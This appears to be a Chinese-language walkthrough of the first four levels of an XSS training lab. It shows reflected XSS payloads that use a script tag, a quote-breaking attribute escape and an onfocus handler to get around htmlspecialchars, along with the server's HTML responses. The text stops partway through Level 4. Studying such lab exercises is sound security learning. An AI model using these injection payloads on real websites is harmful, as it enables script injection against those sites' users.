Level 1#
仔细观察,通过修改 name 参数的值,可发现 name 的值
显示在页面上,并且也显示了值的字符长度
插入的位置处于里
<h2><h2/>
于是尝试构建弹窗
<script>alert('xss')</script>
弹出弹窗
#反射型 xss
Level 2#
进入 Level 2,get 传参
看看源码,可知搜索框的内容通过 get 方式 提交给 level2.php
经过服务器处理,把参数的值插入 h2 标签中,以及添加到 input 中的 value 属性内
输入恶意代码,发现出错
查看网页源码,发现 h2 处的恶意代码被编码
查看服务端源码,
<h2 align=center>没有找到和<script>alert('xss')</script>相关的结果.</h2><center>
<input name=keyword value="<script>alert('xss')</script>">
发现使用htmlspecialchars函数处理 keyword 参数
根据观察发现,js 代码处于标签属性中,所以只能考虑如何执行属性值中的恶意代码
想要执行,可以将属性中的引号和标签闭合
payload:"><script>alert('xss')</script>//
<input name=keyword value=""><script>alert('xss')</script>//
Level 3#
用以上方法试一试,未能成功
查看网页源码
此时 h2 和 value 值处的恶意代码被编码,估计两参数均使用了htmlspecialchars()
函数
<h2 align=center>没有找到和"><script>alert('xss')</script>//相关的结果.</h2><center>
<input name=keyword value='"><script>alert('xss')</script>//'>
故考虑onfocus 事件的特殊性
payload:'onfocus=javascript:alert('xss') > //
<input name=keyword value=''onfocus=javascript:alert('xss') >'>
懂的不多,看看网上是怎么讲的
最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以
输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此
点击当前页面的输入框就可以完成弹框了。
Less 4#
简单试试
<h2 align=center>没有找到和<script>alert('xss')</script>相关的结果.</h2><center>
<input name=keyword value="scriptalert('xss')/script">
h2 处被编码,value 值 ' <' '> ' 被消去
试试 Less 3 的方法,不行
仔细想一想,发现 Less 3 和 Less 4的区别在于 value=后的单引号(')与双引号(")